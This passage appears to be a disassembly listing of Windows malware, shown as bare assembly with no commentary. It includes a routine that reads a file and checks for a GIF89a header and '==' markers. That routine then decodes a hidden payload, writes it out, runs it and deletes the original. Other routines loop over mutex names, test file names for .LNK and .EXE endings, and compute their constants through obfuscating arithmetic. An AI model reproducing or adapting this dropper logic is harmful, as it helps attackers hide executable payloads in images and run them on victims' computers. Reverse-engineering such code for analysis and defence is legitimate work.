call sub_41EE5E
call sub_41AE1F
call sub_422793
call sub_41B2E4
call sub_422A04
call sub_422C2F
call sub_41B167
call sub_420568
loc_42304B: ; CODE XREF: .data:004230A0j
call sub_423BBE
mov ebx, eax
mov [ebp-45h], bl
movzx eax, byte ptr [ebp-45h]
mov edx, ds:100121ACh
sub edx, 2
cmp eax, edx
jnz short loc_42307B
mov eax, ds:10012138h
add eax, ds:1001218Ch
sub eax, 8
push eax
call dword ptr ds:10011660h
loc_42307B: ; CODE XREF: .data:00423064j
movzx eax, byte ptr [ebp-45h]
mov edx, ds:10012108h
inc edx
cmp eax, edx
jnz short loc_4230A2
mov eax, ds:100121B4h
add eax, 5Ch
add eax, ds:100120FCh
push eax
call dword ptr ds:10011630h
pop ecx
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_4230A2: ; CODE XREF: .data:00423088j
push 100127D4h
call sub_4228CE
mov [ebp-154h], eax
push 100127CAh
call sub_4228CE
mov esi, ds:100121C8h
movsx ebx, word ptr ds:100121BCh
add esi, ebx
sub esi, 7
push esi
push eax
mov esi, [ebp-154h]
push esi
lea esi, [ebp-144h]
push esi
call dword ptr ds:10011634h
lea eax, [ebp-144h]
push eax
push 0
push 0
call dword ptr ds:1001161Ch
push 0
call dword ptr ds:1000E5E8h
mov edi, eax
push 100127C0h
call sub_4228CE
mov [ebp-20h], eax
mov [ebp-34h], edi
lea eax, ds:10007306h
mov [ebp-40h], eax
push 7F00h
push 0
call dword ptr ds:1000F220h
mov [ebp-2Ch], eax
push 7F03h
push 0
call dword ptr ds:10011620h
mov [ebp-30h], eax
and dword ptr [ebp-24h], 0
push 0
call dword ptr ds:1000D120h
mov [ebp-28h], eax
mov dword ptr [ebp-44h], 3
mov eax, ds:1001217Ch
add eax, ds:1001209Ch
sub eax, 0Eh
mov [ebp-3Ch], eax
mov eax, ds:10012164h
mov [ebp-38h], eax
lea eax, [ebp-44h]
push eax
call dword ptr ds:1000E0DCh
push 100127B6h
call sub_4228CE
mov [ebp-158h], eax
push 100127ACh
call sub_4228CE
push 0
push edi
push 0
push 0
mov esi, ds:1001217Ch
sub esi, 6
push esi
mov esi, ds:100120C0h
movsx ebx, word ptr ds:100120E0h
add esi, ebx
dec esi
push esi
movsx esi, word ptr ds:10012100h
sub esi, 9
push esi
movsx esi, word ptr ds:10012168h
movsx ebx, word ptr ds:100120DCh
add esi, ebx
sub esi, 0Eh
push esi
push 0CA0000h
push eax
mov esi, [ebp-158h]
push esi
mov esi, ds:1001209Ch
add esi, ds:100120A4h
sub esi, 0Ah
push esi
call dword ptr ds:10010648h
mov ds:1000E60Ch, eax
lea eax, [ebp-148h]
push eax
push edi
call sub_41B740
add esp, 2Ch
mov [ebp-14Ch], eax
mov ds:10011610h, eax
mov eax, [ebp-148h]
mov ds:1000E610h, eax
call sub_41A748
lea eax, [ebp-150h]
push eax
movsx eax, word ptr ds:10012100h
add eax, ds:10012160h
sub eax, 11h
push eax
push 0
push 100058A2h
mov eax, ds:100121C4h
sub eax, 5
push eax
push 0
call dword ptr ds:10011B90h
push eax
call dword ptr ds:10010650h
call sub_41B939
call sub_4202BE
jmp short loc_423276
; ---------------------------------------------------------------------------
loc_423262: ; CODE XREF: .data:0042329Aj
lea eax, [ebp-1Ch]
push eax
call dword ptr ds:1001177Ch
lea eax, [ebp-1Ch]
push eax
call dword ptr ds:1000C050h
loc_423276: ; CODE XREF: .data:00423260j
movsx eax, word ptr ds:10012114h
sub eax, 2
push eax
movsx eax, word ptr ds:10012170h
sub eax, 8
push eax
push 0
lea eax, [ebp-1Ch]
push eax
call dword ptr ds:1000F368h
or eax, eax
jnz short loc_423262
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A3 proc near ; CODE XREF: sub_41DEB9+219p
; sub_41DEB9+22Bp
var_61DA0 = dword ptr -61DA0h
var_61D9C = dword ptr -61D9Ch
var_61D98 = byte ptr -61D98h
var_61C99 = byte ptr -61C99h
var_61C98 = dword ptr -61C98h
var_61C91 = byte ptr -61C91h
var_30F51 = byte ptr -30F51h
var_30F50 = dword ptr -30F50h
var_30F4B = byte ptr -30F4Bh
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E3E = byte ptr -30E3Eh
var_30E3D = byte ptr -30E3Dh
var_30E3C = byte ptr -30E3Ch
var_30E3B = byte ptr -30E3Bh
var_30E3A = byte ptr -30E3Ah
var_30E15 = byte ptr -30E15h
var_30E14 = byte ptr -30E14h
var_30DBE = byte ptr -30DBEh
var_30DBD = byte ptr -30DBDh
var_30DBC = byte ptr -30DBCh
var_30D46 = byte ptr -30D46h
var_30D43 = byte ptr -30D43h
var_30D41 = byte ptr -30D41h
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
var_30D3B = byte ptr -30D3Bh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61DA0h
call sub_424F4D
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
and [ebp+var_30F50], 0
push 0
mov eax, ds:10012138h
add eax, ds:10012174h
sub eax, 11h
push eax
push 3
push 0
mov eax, ds:1001218Ch
dec eax
push eax
push 80000000h
push [ebp+arg_0]
call dword ptr ds:10011788h
mov [ebp+var_30E48], eax
cmp eax, 0FFFFFFFFh
jz loc_423762
push 0
lea eax, [ebp+var_30E4C]
push eax
movsx eax, word ptr ds:10012114h
mov edx, ds:10012120h
lea eax, [eax+edx+80h]
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call dword ptr ds:1000C028h
mov [ebp+var_30E44], eax
mov eax, ds:1001217Ch
add eax, ds:1001212Ch
sub eax, 0Bh
cmp [ebp+var_30E44], eax
jz loc_423744
cmp [ebp+var_30E3F], 47h
jnz short loc_42337D
cmp [ebp+var_30E3E], 49h
jnz short loc_42337D
cmp [ebp+var_30E3D], 46h
jnz short loc_42337D
cmp [ebp+var_30E3C], 38h
jnz short loc_42337D
cmp [ebp+var_30E3B], 39h
jnz short loc_42337D
cmp [ebp+var_30E3A], 61h
jz short loc_423382
loc_42337D: ; CODE XREF: sub_4232A3+ABj
; sub_4232A3+B4j ...
jmp loc_423744
; ---------------------------------------------------------------------------
loc_423382: ; CODE XREF: sub_4232A3+D8j
movzx eax, [ebp+var_30E15]
mov edx, ds:100121C0h
add edx, 35h
add edx, ds:100121B8h
cmp eax, edx
jnz short loc_4233AE
cmp [ebp+var_30DBE], 3Dh
jnz short loc_4233AE
cmp [ebp+var_30DBD], 3Dh
jz short loc_4233B3
loc_4233AE: ; CODE XREF: sub_4232A3+F7j
; sub_4232A3+100j
jmp loc_423744
; ---------------------------------------------------------------------------
loc_4233B3: ; CODE XREF: sub_4232A3+109j
or ebx, ebx
jnz short loc_4233E2
mov al, [ebp+var_30DBC]
mov [ebp+var_30F51], al
call sub_424013
mov edx, eax
mov [ebp+var_61C99], dl
mov al, [ebp+var_61C99]
cmp al, [ebp+var_30F51]
jz loc_423744
loc_4233E2: ; CODE XREF: sub_4232A3+112j
push 0
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C91]
push eax
push [ebp+var_30E48]
call dword ptr ds:1000C028h
mov [ebp+var_30E44], eax
movsx eax, word ptr ds:10012100h
add eax, ds:100120A0h
sub eax, 0Dh
cmp [ebp+var_30E44], eax
jz loc_423744
mov eax, [ebp+var_30E4C]
mov edx, ds:1001210Ch
movsx ecx, word ptr ds:100120D8h
add edx, ecx
sub edx, 0Ch
mov [ebp+eax+var_61C91], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C91]
push eax
call sub_423767
add esp, 0Ch
mov esi, eax
mov edi, ds:100120D4h
dec edi
jmp short loc_4234AF
; ---------------------------------------------------------------------------
loc_42346A: ; CODE XREF: sub_4232A3+20Ej
or ebx, ebx
jz short loc_423481
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_4234AE
; ---------------------------------------------------------------------------
loc_423481: ; CODE XREF: sub_4232A3+1C9j
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61D9C], eax
mov eax, edi
mul edi
mov [ebp+var_61DA0], eax
mov eax, [ebp+var_61D9C]
mov edx, [ebp+var_61DA0]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_4234AE: ; CODE XREF: sub_4232A3+1DCj
inc edi
loc_4234AF: ; CODE XREF: sub_4232A3+1C5j
cmp edi, esi
jb short loc_42346A
or ebx, ebx
jz short loc_4234E3
mov eax, ds:100120E4h
add eax, ds:100120FCh
sub eax, 8
mov edx, esi
sub edx, eax
movsx eax, word ptr ds:100120F4h
movsx ecx, word ptr ds:10012148h
add eax, ecx
sub eax, 0Ch
mov [ebp+edx+var_30D40], al
loc_4234E3: ; CODE XREF: sub_4232A3+212j
movsx eax, word ptr ds:10012100h
mov edx, ds:10012134h
lea eax, [eax+edx+77h]
movsx edx, word ptr ds:10012154h
sub edx, 8
mov [ebp+eax+var_30E3F], dl
push 0FFh
lea eax, [ebp+var_61D98]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_423767
lea eax, [ebp+var_61D98]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_41C68E
add esp, 18h
mov [ebp+var_30E44], eax
movsx eax, word ptr ds:100120D8h
sub eax, 5
cmp [ebp+var_30E44], eax
jnz loc_423744
mov [ebp+var_30F50], 1
or ebx, ebx
jz loc_423695
mov eax, ds:10012124h
cmp [ebp+eax+var_30D41], 64h
jnz loc_423609
movzx eax, [ebp+var_30D3F]
mov edx, ds:100121C4h
add edx, 1Bh
sub eax, edx
mov byte ptr [ebp+var_61D9C+3], al
movzx eax, byte ptr [ebp+var_61D9C+3]
push eax
push 0
call sub_4223D9
mov eax, ds:10012130h
movsx edx, word ptr ds:100120F4h
add eax, edx
sub eax, 9
mov ds:1000E61Ch, eax
mov eax, ds:10012178h
movsx edx, word ptr ds:10012090h
add eax, edx
sub eax, 4
mov ds:10012290h, eax
mov eax, ds:10012164h
add eax, ds:10012160h
movsx edx, word ptr ds:10012090h
movsx ecx, word ptr ds:100120E0h
add edx, ecx
dec edx
mov [ebp+eax+var_30D46], dl
mov eax, ds:100121A0h
add eax, ds:100120F0h
sub eax, 9
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_41B58F
add esp, 10h
loc_423609: ; CODE XREF: sub_4232A3+2CCj
mov eax, ds:10012104h
add eax, ds:10012108h
cmp [ebp+eax+var_30D43], 67h
jnz loc_423744
mov eax, ds:1001212Ch
movsx edx, word ptr ds:10012154h
sub edx, 8
mov [ebp+eax+var_30D3B], dl
lea eax, [ebp+var_30D3F]
push eax
call dword ptr ds:1000C054h
mov [ebp+var_61D9C], eax
push eax
push 10011670h
call sub_41E5D9
mov eax, ds:10012138h
sub eax, 8
mov ds:1000E61Ch, eax
mov eax, ds:10012098h
sub eax, 7
mov ds:10012290h, eax
movsx eax, word ptr ds:1001219Ch
add eax, ds:1001211Ch
sub eax, 8
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_41B58F
add esp, 14h
jmp loc_423744
; ---------------------------------------------------------------------------
loc_423695: ; CODE XREF: sub_4232A3+2B9j
mov eax, ds:100121B0h
add eax, 4
add eax, ds:10012178h
push eax
lea eax, [ebp+var_30F4B]
push eax
call sub_422857
push 100127A4h
call sub_4228CE
push eax
lea edx, [ebp+var_30F4B]
push edx
call dword ptr ds:1000C020h
push 0
push 80h
push 2
push 0
movsx eax, word ptr ds:100120E8h
add eax, ds:1001212Ch
sub eax, 0Ah
push eax
push 40000000h
lea eax, [ebp+var_30F4B]
push eax
call dword ptr ds:10011788h
mov [ebp+var_61C98], eax
push 0
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C98]
call dword ptr ds:10011B8Ch
push [ebp+var_61C98]
call dword ptr ds:10010650h
push 5
lea eax, [ebp+var_30F4B]
push eax
call dword ptr ds:1000E0E0h
movzx eax, [ebp+var_30F51]
push eax
call sub_41E21C
add esp, 18h
loc_423744: ; CODE XREF: sub_4232A3+9Ej
; sub_4232A3:loc_42337Dj ...
push [ebp+var_30E48]
call dword ptr ds:10010650h
cmp [ebp+var_30F50], 0
jz short loc_423762
push [ebp+arg_0]
call dword ptr ds:1000C008h
loc_423762: ; CODE XREF: sub_4232A3+4Dj
; sub_4232A3+4B4j
pop edi
pop esi
pop ebx
leave
retn
sub_4232A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423767 proc near ; CODE XREF: .data:00422D7Ep
; sub_4232A3+1B4p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
movsx eax, word ptr ds:10012150h
sub eax, 5
mov [ebp+var_8], eax
mov [ebp+var_C], eax
mov esi, eax
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_8]
add eax, ebx
mov [ebp+var_4], eax
mov edi, [ebp+arg_0]
jmp loc_423890
; ---------------------------------------------------------------------------
loc_423795: ; CODE XREF: sub_423767+131j
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, ds:1001234Ch[edx]
mov eax, ds:100120A4h
add eax, ds:100120C0h
sub eax, 2
neg eax
cmp esi, eax
jz loc_42388F
mov eax, [ebp+var_8]
or eax, eax
jl loc_42388C
cmp eax, 3
jg loc_42388C
jmp dword ptr ds:1001274Ch[eax*4]
; ---------------------------------------------------------------------------
db 0FFh, 45h, 0F8h
dd 0AFE9h, 0F4558B00h, 20CC0D8Bh, 0D031001h, 10012190h
dd 8902E983h, 89E0D3D0h, 0F289E845h, 8B30E283h, 120A00Dh
dd 300D0310h, 89100121h, 8BF8D3D0h, 0C209E855h, 89F35588h
dd 558A43D8h, 0FF1088F3h, 6CEBF845h, 83F4558Bh, 0BF0F0FE2h
dd 120F40Dh, 5E98310h, 0E0D3D089h, 89E44589h, 3CE283F2h
dd 20B80D8Bh, 0E9831001h, 0D3D08902h, 0E4558BF8h, 5588C209h
dd 43D889F3h, 88F3558Ah, 0F845FF10h, 558B2EEBh, 3E283F4h
dd 680DBF0Fh, 83100121h, 0D08902E9h, 0C289E0D3h, 5588F209h
dd 43D889F3h, 88F3558Ah, 20B8A110h, 0E8831001h, 0F8458904h
; ---------------------------------------------------------------------------
loc_42388C: ; CODE XREF: sub_423767+58j
; sub_423767+61j
mov [ebp+var_C], esi
loc_42388F: ; CODE XREF: sub_423767+4Dj
inc edi
loc_423890: ; CODE XREF: sub_423767+29j
cmp byte ptr [edi], 0
jz short loc_42389E
cmp ebx, [ebp+var_4]
jb loc_423795
loc_42389E: ; CODE XREF: sub_423767+12Cj
cmp byte ptr [edi], 0
jnz short loc_4238AA
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_4238BA
; ---------------------------------------------------------------------------
loc_4238AA: ; CODE XREF: sub_423767+13Aj
mov eax, ds:100121ACh
add eax, ds:100120E4h
sub eax, 5
neg eax
loc_4238BA: ; CODE XREF: sub_423767+141j
pop edi
pop esi
pop ebx
leave
retn
sub_423767 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4238BF proc near ; CODE XREF: sub_4202BE+184p
; sub_4202BE+202p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, ds:10012164h
lea eax, [ebp+var_4]
push eax
push 100138DCh
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, ds:10012138h
add eax, ds:100120F8h
sub eax, 0Ah
cmp edi, eax
jz short loc_4238FB
xor eax, eax
jmp short loc_423965
; ---------------------------------------------------------------------------
loc_4238FB: ; CODE XREF: sub_4238BF+36j
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
movsx eax, word ptr ds:10012100h
sub eax, 9
cmp edi, eax
jnz short loc_42395A
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
mov eax, ds:10012138h
add eax, ds:100120ECh
sub eax, 0Dh
cmp edi, eax
jnz short loc_423951
mov eax, ds:10012164h
movsx edx, word ptr ds:10012100h
mov esi, eax
add esi, edx
sub esi, 8
loc_423951: ; CODE XREF: sub_4238BF+7Dj
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_42395A: ; CODE XREF: sub_4238BF+5Aj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_423965: ; CODE XREF: sub_4238BF+3Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4238BF endp
; ---------------------------------------------------------------------------
dw 1B8h
dd 0C2800040h
db 8, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423972 proc near ; CODE XREF: sub_41C68E+C5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 8000h
movsx eax, word ptr ds:1001216Ch
add eax, ds:100120F0h
sub eax, 8
push eax
push [ebp+arg_0]
call dword ptr ds:10010630h
pop ebp
retn
sub_423972 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423996 proc near ; CODE XREF: sub_4242A2+239p
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 1
push [ebp+arg_4]
call sub_41BB8D
add esp, 8
mov [ebp+var_48], eax
test eax, eax
jnz loc_423BB9
mov [ebp+var_18], 8
push 10012794h
call sub_41F3E4
pop ecx
push eax
call dword ptr ds:1000C044h
mov [ebp+var_10], eax
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word ptr ds:100120D8h
movsx edx, word ptr ds:100120E8h
add eax, edx
sub eax, 0Ah
cmp ebx, eax
jnz loc_423B9D
lea eax, [ebp+var_3C]
push eax
push 1001391Ch
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word ptr ds:10012194h
add eax, ds:10012174h
sub eax, 9
cmp ebx, eax
jnz loc_423B94
mov [ebp+var_30], 2
mov eax, ds:100120CCh
dec eax
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_3C]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word ptr ds:100120F4h
sub eax, 9
cmp ebx, eax
jnz loc_423B8B
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push 1001390Ch
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
cmp ebx, ds:10012164h
jnz loc_423B82
inc dword ptr ds:1000E61Ch
mov eax, ds:10012160h
add eax, 2
cmp ds:1000E61Ch, eax
jb short loc_423AE8
mov eax, ds:100121B8h
add eax, 2
add eax, ds:100120ECh
mov ds:1000E61Ch, eax
push [ebp+var_4]
call sub_41C561
pop ecx
jmp loc_423B79
; ---------------------------------------------------------------------------
loc_423AE8: ; CODE XREF: sub_423996+12Fj
mov eax, ds:1001218Ch
dec eax
mov [ebp+var_4C], eax
lea eax, [ebp+var_44]
push eax
push dword ptr ds:1001063Ch
call sub_41B0D6
mov [ebp+var_34], eax
lea eax, [ebp+var_40]
push eax
push dword ptr ds:1000C018h
call sub_41B0D6
add esp, 10h
mov [ebp+var_38], eax
cmp [ebp+var_44], 0
jz short loc_423B39
cmp [ebp+var_34], 0
jz short loc_423B39
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_34]
call sub_41E9E2
add esp, 10h
loc_423B39: ; CODE XREF: sub_423996+186j
; sub_423996+18Cj
cmp [ebp+var_40], 0
jz short loc_423B5A
cmp [ebp+var_38], 0
jz short loc_423B5A
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_40]
push [ebp+var_38]
call sub_41E9E2
add esp, 10h
loc_423B5A: ; CODE XREF: sub_423996+1A7j
; sub_423996+1ADj
push [ebp+var_34]
call dword ptr ds:1000E618h
push [ebp+var_38]
call dword ptr ds:1000E618h
push 0
push [ebp+arg_4]
call sub_41BB8D
add esp, 8
loc_423B79: ; CODE XREF: sub_423996+14Dj
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_423B82: ; CODE XREF: sub_423996+115j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_423B8B: ; CODE XREF: sub_423996+EDj
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_423B94: ; CODE XREF: sub_423996+9Fj
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_423B9D: ; CODE XREF: sub_423996+6Fj
lea eax, [ebp+var_18]
push eax
call dword ptr ds:10011BA0h
mov eax, ds:100120D4h
add eax, ds:1001210Ch
sub eax, 8
cmp ebx, eax
jz short $+2
loc_423BB9: ; CODE XREF: sub_423996+1Bj
pop edi
pop esi
pop ebx
leave
retn
sub_423996 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BBE proc near ; CODE XREF: .data:00420FC6p
; .data:loc_42304Bp
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push ebx
push esi
push edi
mov eax, ds:100120ACh
mov edi, eax
add edi, ds:10012174h
sub edi, 0Bh
jmp loc_423C62
; ---------------------------------------------------------------------------
loc_423BDF: ; CODE XREF: sub_423BBE+AEj
push 10012788h
call sub_4228CE
mov [ebp+var_108], eax
push 1001277Eh
call sub_4228CE
mov esi, ds:10012124h
movsx ebx, word ptr ds:100120E8h
add esi, ebx
sub esi, 5
push esi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call dword ptr ds:10011634h
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 1F0001h
call dword ptr ds:10010644h
mov [ebp+var_104], eax
or eax, eax
jz short loc_423C61
push eax
call dword ptr ds:10010650h
mov eax, ds:100120FCh
sub eax, 6
cmp edi, eax
jnz short loc_423C5A
xor eax, eax
inc eax
jmp short loc_423C74
; ---------------------------------------------------------------------------
loc_423C5A: ; CODE XREF: sub_423BBE+95j
mov eax, 2
jmp short loc_423C74
; ---------------------------------------------------------------------------
loc_423C61: ; CODE XREF: sub_423BBE+82j
inc edi
loc_423C62: ; CODE XREF: sub_423BBE+1Cj
mov eax, ds:10012164h
add eax, 64h
cmp edi, eax
jb loc_423BDF
xor eax, eax
loc_423C74: ; CODE XREF: sub_423BBE+9Aj
; sub_423BBE+A1j
pop edi
pop esi
pop ebx
leave
retn
sub_423BBE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+0Ch]
mov edi, [ebp+10h]
push 1001396Ch
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_423CA5
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_423CED
; ---------------------------------------------------------------------------
loc_423CA5: ; CODE XREF: .data:00423C93j
push 100138ECh
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_423CC5
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_423CED
; ---------------------------------------------------------------------------
loc_423CC5: ; CODE XREF: .data:00423CB3j
push 100138ACh
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_423CE5
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_423CED
; ---------------------------------------------------------------------------
loc_423CE5: ; CODE XREF: .data:00423CD3j
and dword ptr [edi], 0
mov eax, 80004002h
loc_423CED: ; CODE XREF: .data:00423CA3j
; .data:00423CC3j ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CF4 proc near ; CODE XREF: .data:0041B911p
; sub_41C232+50p ...
var_252 = byte ptr -252h
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_423D21
movsx eax, word ptr ds:100120BCh
add eax, ds:1001218Ch
sub eax, 0Ah
mov [ebp+var_248], eax
jmp short loc_423D99
; ---------------------------------------------------------------------------
loc_423D21: ; CODE XREF: sub_423CF4+13j
mov edx, [ebp+arg_4]
mov ecx, ds:100121B0h
cmp ds:1000E630h[edx*4], ecx
jnz short loc_423D49
push ebx
call dword ptr ds:1000E608h
mov eax, ds:100120A8h
sub eax, 2
push eax
call dword ptr ds:10011660h
loc_423D49: ; CODE XREF: sub_423CF4+3Dj
mov eax, ds:100120F8h
add eax, 62h
mov [ebp+var_248], eax
push 10012776h
call sub_4228CE
push [ebp+arg_4]
push eax
lea edx, [ebp+var_252]
push edx
call dword ptr ds:10011634h
add esp, 10h
lea eax, [ebp+var_252]
push eax
call dword ptr ds:10011664h
cmp eax, 3
jnz short loc_423D99
movsx eax, word ptr ds:10012148h
add eax, 129h
mov [ebp+var_248], eax
loc_423D99: ; CODE XREF: sub_423CF4+2Bj
; sub_423CF4+91j
xor edi, edi
inc edi
push 1001276Fh
call sub_4228CE
push esi
push eax
lea edx, [ebp+var_242]
push edx
call dword ptr ds:10011634h
add esp, 10h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_423DBD: ; CODE XREF: sub_423CF4+CEj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423DBD
mov edx, eax
movsx ecx, word ptr ds:100120E8h
movsx eax, word ptr ds:100121A8h
add ecx, eax
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_423E75
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_423DE7: ; CODE XREF: sub_423CF4+F8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423DE7
mov ecx, ds:100121B8h
add ecx, 1
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 4Ch
jnz short loc_423E75
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_423E13: ; CODE XREF: sub_423CF4+124j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423E13
mov ecx, ds:10012118h
add ecx, 2
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 4Eh
jnz short loc_423E75
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_423E3F: ; CODE XREF: sub_423CF4+150j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423E3F
mov ecx, ds:10012144h
add ecx, ds:100120CCh
sub ecx, 4
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 4Bh
jnz short loc_423E75
push esi
call sub_41E2FF
add esp, 4
loc_423E75: ; CODE XREF: sub_423CF4+E8j
; sub_423CF4+118j ...
mov ecx, esi
or eax, 0FFFFFFFFh
loc_423E7A: ; CODE XREF: sub_423CF4+18Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423E7A
mov edx, eax
movsx ecx, word ptr ds:100121A8h
movsx eax, word ptr ds:10012154h
add ecx, eax
sub ecx, 3
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_423F37
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_423EA7: ; CODE XREF: sub_423CF4+1B8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_423EA7
mov ecx, ds:10012190h
add ecx, 1
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000C030h
add esp, 4
cmp eax, 45h
jnz short loc_423F37
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_423ED3: ; CODE XREF: sub_423CF4+1E4j
inc eax
